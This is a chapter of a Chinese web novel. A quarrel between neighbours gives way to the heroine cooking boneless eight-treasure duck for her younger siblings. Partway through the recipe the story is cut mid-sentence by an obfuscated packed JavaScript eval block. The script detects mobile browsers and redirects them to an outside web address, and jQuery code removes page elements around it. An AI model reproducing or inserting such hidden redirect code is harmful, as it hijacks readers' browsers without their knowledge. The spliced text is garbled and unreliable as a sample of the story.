“哟!那敢情好啊,我家的桌子腿都晃悠小半年了,既不收钱,干脆全拉到你家来给我修修吧!”李娘子站在鲁家门口,腆着脸笑嘻嘻地说。 鲁大娘子叉着腰,三两步走过去,一指头差点戳到她鼻子上:“修?你这懒婆娘想的倒美!我这巴掌还不收钱呢,你要不要也尝一个?!” 李娘子唬了一跳,有些恼羞成怒。鲁家的院子是甜水巷里最大的,家里也是巷子里最富裕的一家,她平时眼红的很,可惜鲁家男人虽然木讷,可是女人都不是好惹的,害得她总占不到什么便宜。 她捶着胸口往地上一坐,正准备打滚撒泼呢,就见鲁大娘子身后几个健壮的学徒围了过来,个个脸色不善,手指捏得咔咔作响,也不敢再闹了,一咕噜从地上爬起来,边跑边啐:“呸!活该你家小姑子嫁不出去!” 鲁大娘子正为这件事发愁呢,气得火冒三丈,抄起扫帚追了上去,扫了李娘子一鼻子灰。 柳朝云只作没听见李娘子的那句话,牵着弟妹的手便告辞回家了,后头还多了杏姐儿这么个小尾巴。 柳朝云将买回来的鸭腹清理干净,准备中午做一道淮扬名菜——八宝鸭。 首先要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343788|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给鸭子去骨。她将鸭掌鸭翅先去掉,手摸到鸭腿的关节处,一撅再一捅,一根完整的鸭腿骨就取出来了,另一半照做。剩余的用刀贴着骨头,小心地切断筋膜,顺着肌理一点一点将背骨取出来。整个过程注意千万不能割破鸭皮,否则这道菜就做不好了。 取出来的骨头她没有丢,扔进锅里焯水去掉血水,放在炉子上小火慢炖。 将浑身脱骨后的鸭子放在葱姜水里浸泡,再加入酱油,这一步是为了去掉鸭子身上的腥味,增香入底味。 再准备填入鸭腹的八宝料,柳朝云做这道菜的时候并不局限于用固定的食材,一般来说家里有什么便放什么。她准备好糯米、香菇、腊肉丁、玉米、松子等,热油将腊肉丁倒下去翻炒,逼出里面多余的油脂,再加入葱花,煸出香味后放入除糯米外的其他食材,加酱油提鲜、胡椒增香,再倒入一勺鸭骨熬出来的清汤,关火后将蒸好的糯米饭倒进去搅拌均匀。 月姐儿在院子里不停地吸着小鼻子,直呼“好香好香”就往厨房跑,杏姐儿也下意识咽了口口水。 柳朝云盛了一勺没敢盛多,让她端出去和阳哥儿杏姐儿分着吃。不然鸭肚子还没填满,月姐儿的小肚子里先装满了。 剩余的糯米饭塞入浸好底味的鸭腹中,大概装了七分满就可以了,再用一根细长的木签子将鸭腹缝起来,多余的部分剪断。 鸭子先焯水,定型后捞出,抹上一层酱油上色,到这一步需要放入油锅里炸一下,但柳朝云觉得这样吃起来会有些腻。正好院子里搭出来的面包窑已经干得差不多了,于是柳朝云决定用烤来代替。 将面包窑烧热后,在鸭身表面抹上一层油,为了防止被烤糊,柳朝云先试了一下温度再将整鸭放进去,等到鸭的表皮变深变脆后便取出来,在鸭身上均匀地浇上一层酱油和豆酱等调料调成的料汁,最后放在蒸笼中蒸半个时辰左右。 柳朝云在鸭骨熬成的汤里加入大米,熬到米粒开花后加入切碎的青菜,再撒上一点盐,晾凉后连骨头带粥盛出来放在小狗面前。 小黑狗先是嗅了嗅,然后探着脑袋伸出舌头吧嗒吧嗒地舔了起来。柳朝云选的是嫩鸭子,骨头也不是太硬,正好能给小黑狗磨磨牙。 几个孩子脑袋凑在一起看了个不亦乐乎。 杏姐儿家教好,瞅着快要到饭点了便摇了摇手蹦蹦跳跳地回家去了。 八宝鸭蒸好还有最后一道工序,将盘底的原汤倒入锅中,撇掉多余的油烧开勾芡,等到汤汁变得浓稠后再浇回到鸭身上。 鸭身焦褐发亮,鸭皮上的油先经过烘烤、再经过高温蒸制,早就慢慢化进了鸭肉和鸭腹里的八宝糯米饭里,每一粒米里既有鸭油的醇厚,还有腊肉的浓香。 柳朝云没有再蒸米煮饭,炒了一盘小青菜和清淡解腻的蛋花汤。 鸭肉已经完全酥烂,而且一点骨头都没有,一人盛上一碗带着鸭肉的糯米饭,全都吃得满嘴喷香。月姐儿吃了一碗之后还要一碗,连阳哥儿都伸着碗想要再添,柳朝云怕两人吃得积食,两小碗便让他们打住了。